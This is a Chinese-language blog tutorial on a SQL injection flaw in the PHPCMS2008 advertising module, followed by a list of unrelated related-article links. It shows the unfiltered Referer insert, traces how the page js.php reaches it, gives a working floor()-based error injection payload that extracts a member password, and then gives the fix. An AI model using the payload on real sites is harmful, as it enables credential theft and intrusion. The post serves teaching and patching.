PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
IP138 IP地址查询小偷实现代码
Feb 15 PHP
php 生成静态页面的办法与实现代码详细版
Feb 15 PHP
PHP高级编程实例:编写守护进程
Sep 02 PHP
thinkphp特殊标签用法概述
Nov 24 PHP
PHP中让curl支持sock5的代码实例
Jan 21 PHP
php相对当前文件include其它文件的方法
Mar 13 PHP
PHP图像处理类库MagickWand用法实例分析
May 21 PHP
thinkPHP中验证码的简单使用方法
Dec 26 PHP
详解js异步文件加载器
Jan 24 PHP
基于CI框架的微信网页授权库示例
Nov 25 PHP
php接口实现拖拽排序功能
Apr 23 PHP
Laravel中获取IP的真实地理位置
Apr 01 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
PHP 年龄计算函数(精确到天)
2012/06/07 PHP
php跨站攻击实例分析
2014/10/28 PHP
PHP实现根据密码长度显示安全条
2017/07/04 PHP
jQuery ajax+PHP实现的级联下拉列表框功能示例
2019/02/12 PHP
浅析PHP echo 和 print 语句
2020/06/30 PHP
js为空或不是对象问题的快速解决方法
2013/12/11 Javascript
JavaScript中实现最高效的数组乱序方法
2014/10/11 Javascript
Jquery 实现table样式的设定
2015/01/28 Javascript
ECMAScript 5中的属性描述符详解
2015/03/02 Javascript
jquery实现简单手风琴菜单效果实例
2015/06/13 Javascript
js实现文本框输入文字个数限制代码
2015/12/25 Javascript
nodejs+express搭建多人聊天室步骤
2018/02/12 NodeJs
Vue唯一可以更改vuex实例中state数据状态的属性对象Mutation的讲解
2019/01/18 Javascript
微信小程序页面间跳转传参方式总结
2019/06/13 Javascript
详解django模板与vue.js冲突问题
2019/07/07 Javascript
在pycharm中开发vue的方法步骤
2020/03/04 Javascript
vue中实现图片压缩 file文件的方法
2020/05/28 Javascript
8个非常实用的Vue自定义指令
2020/12/15 Vue.js
[02:41]DOTA2英雄基础教程 亚巴顿
2014/01/02 DOTA
[36:22]VP vs Serenity 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
[01:51]开启你的城市传奇 完美世界城市挑战赛开始报名
2018/10/09 DOTA
[01:13:18]Secret vs Infamous 2019国际邀请赛淘汰赛 败者组 BO3 第一场 8.23
2019/09/05 DOTA
Python学习笔记之解析json的方法分析
2017/04/21 Python
Python数据类型之Dict字典实例详解
2019/05/07 Python
Django实现发送邮件功能
2019/07/18 Python
python3在同一行内输入n个数并用列表保存的例子
2019/07/20 Python
python或C++读取指定文件夹下的所有图片
2019/08/31 Python
python模拟预测一下新型冠状病毒肺炎的数据
2020/02/01 Python
Python过滤序列元素的方法
2020/07/31 Python
老生常谈CSS中的长度单位
2016/06/27 HTML / CSS
英国比较机场停车场网站:Airport Parking Essentials
2019/12/01 全球购物
一年级班主任寄语
2014/01/19 职场文书
主题团日活动总结
2014/06/25 职场文书
python 中[0]*2与0*2的区别说明
2021/05/10 Python
python生成可执行exe控制Microsip自动填写号码并拨打功能
2021/06/21 Python
Python+SeaTable实现计算两个日期间的工作日天数
2022/07/07 Python